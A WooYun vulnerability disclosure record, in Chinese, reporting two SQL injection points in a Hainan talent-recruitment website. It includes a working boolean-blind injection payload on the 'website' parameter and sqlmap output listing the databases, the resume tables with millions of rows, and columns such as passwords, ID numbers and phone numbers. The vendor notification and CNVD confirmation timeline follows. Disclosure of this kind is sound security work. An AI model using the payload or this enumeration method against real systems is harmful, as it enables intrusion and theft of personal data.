乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-01： 细节已通知厂商并且等待厂商处理中 2015-11-05： 厂商已经确认，细节仅向厂商公开 2015-11-15： 细节向核心白帽子及相关领域专家公开 2015-11-25： 细节向普通白帽子公开 2015-12-05： 细节向实习白帽子公开 2015-12-20： 细节向公众公开
海南某人才网2处SQL注入
http://**.**.**.**/freejobs/rctj4site.asp?website=360400
700多万用户。
sqlmap resumed the following injection point(s) from stored session:---Parameter: website (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: website=360400%' AND 1972=1972 AND '%'='---[11:09:31] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, ASPback-end DBMS: Microsoft SQL Server 2008[11:09:31] [INFO] fetching database names[11:09:31] [INFO] fetching number of databases[11:09:31] [INFO] resumed: 13[11:09:31] [INFO] resumed: distribution[11:09:31] [INFO] resumed: GROUPADMIN[11:09:31] [INFO] resumed: JXRCW_Account[11:09:31] [INFO] resumed: jxrcwcache[11:09:31] [INFO] resumed: jxrcwcacheB[11:09:31] [INFO] resumed: ksbmxt[11:09:31] [INFO] resumed: master[11:09:31] [INFO] resumed: model[11:09:31] [INFO] resumed: msdb[11:09:31] [INFO] resumed: newjxrc[11:09:31] [INFO] resumed: ReportServer[11:09:31] [INFO] resumed: ReportServerTempDB[11:09:31] [INFO] resumed: tempdbavailable databases [13]:[*] distribution[*] GROUPADMIN[*] JXRCW_Account[*] jxrcwcache[*] jxrcwcacheB[*] ksbmxt[*] master[*] model[*] msdb[*] newjxrc[*] ReportServer[*] ReportServerTempDB[*] tempdb
Database: newjxrc+------------------------------+---------+| Table | Entries |+------------------------------+---------+| dbo.RC_APPLYJOB | 14092657 || dbo.MsgCenten | 7792756 || dbo.RC_RCINFO | 2083891 || dbo.SYNC_RC_RCINFO_1__61 | 2083891 || dbo.RC_MAINRESUME | 1845354 || dbo.SYNC_RC_MAINRESUME_1__61 | 1845354 || dbo.RC_ResumeViewCount | 1522914 || dbo.RC_BASEINFO | 1016937 || dbo.RC_RECEIVEDNOTICE | 545143 || dbo.RC_MYBAG | 420363 || dbo.RC_BOOKING | 7317 || dbo.RC_resume_deleted | 5364 || dbo.KH_other | 5204 || dbo.DW_smstempletter | 2527 || dbo.Todayadddw | 2423 || dbo.CD_keyword | 1162 || dbo.CD_POSTP | 1117 || dbo.CD_POS | 1060 || dbo.Trace_canpubpos | 586 || dbo.CD_COSR | 377 || dbo.KH_WKLIST | 200 || dbo.CD_REGION | 115 || dbo.CD_INDU | 70 || dbo.CHANGYE_INFO | 39 || dbo.INDU_o2n | 38 || dbo.CD_FL | 36 || dbo.CD_SALARY | 13 || dbo.CacheSiteUrl | 10 || dbo.CacheSiteUrl2014 | 10 || dbo.CD_DWSIZE | 9 || dbo.CD_FLL | 8 || dbo.CD_BASENAME | 6 || dbo.CD_POSLEV | 6 || dbo.V_receivedLetterLess5 | 6 || dbo.WEB_COUNTER | 6 || dbo.CD_POLI | 5 || dbo.CD_TCPS | 5 || dbo.CD_POSSTATUS | 4 || dbo.CD_WKTYPE | 4 || dbo.CD_MARRIAGE | 3 || dbo.CD_NATION | 3 || dbo.CD_RGTYPE | 2 || dbo.CD_SEX | 2 || dbo.CacheFlag | 1 || dbo.SYS_ROWID | 1 |+------------------------------+---------+
[85 columns]+--------------+----------+| Column | Type |+--------------+----------+| ADDR | nvarchar || ANSW | nvarchar || BIRTH | datetime || browser | nchar || callbackflag | datetime || can_dt | nchar || CARDTYPE | char || cjrflag | char || CONN | nvarchar || dbflag | char || device | char || DISPPHOTO | char || EDUC | char || EMAIL | nvarchar || Evaluation | ntext || FAX | nvarchar || gj_flag | char || GRAYEAR | date || height | char || HK | char || HOPEINDU | char || HOPEINDU1 | char || HOPEINDU2 | char || HOPEINDUNAME | nchar || HOPEPOSNAME | nchar || HOPEPOSTP | char || HOPEPOSTP1 | nchar || HOPEPOSTP2 | char || HOPESALARY | char || HOPESALARYGK | char || HOPEWKREG | char || HOPEWKREG1 | char || HOPEWKREG2 | char || HPAGE | nvarchar || JYMEMO | ntext || lat | char || lng | char || loadflag | char || LOCA | char || loginnum | int || logIP | char || MARRIAGE | char || MOBIL | nvarchar || MOBILFLAG | char || MODIDT | datetime || NAMEFLAG | char || NATION | char || NOWPOSNAME | nchar || NOWSALARY | char || OTHERMEMO | ntext || PHOTO | image || PHOTO_FLAG | char || pjstat | char || POLI | char || preLoginDt | datetime || PWD | nchar || PXMEMO | ntext || QQ | char || QUES | nvarchar || RCID | nchar || RCNAME | nchar || REg_j_s | nchar || regdevice | char || regIP | char || regsite | char || req_j_s | nchar || RESUMENUM | int || RGDT | datetime || ROWID | numeric || searchflag | char || SEX | char || SFZH | nchar || sight | char || tcps | char || tcpsname | nchar || TEL | nvarchar || tjenddt | datetime || tjflag | char || weight | char || WKYEAR | datetime || WORKMEMO | ntext || XMMEMO | ntext || YYMEMO | ntext || ZIP | nchar || ZSMEMO | ntext |+--------------+----------+
危害等级：高
漏洞Rank：10
确认时间：2015-11-05 14:30
CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。
暂无
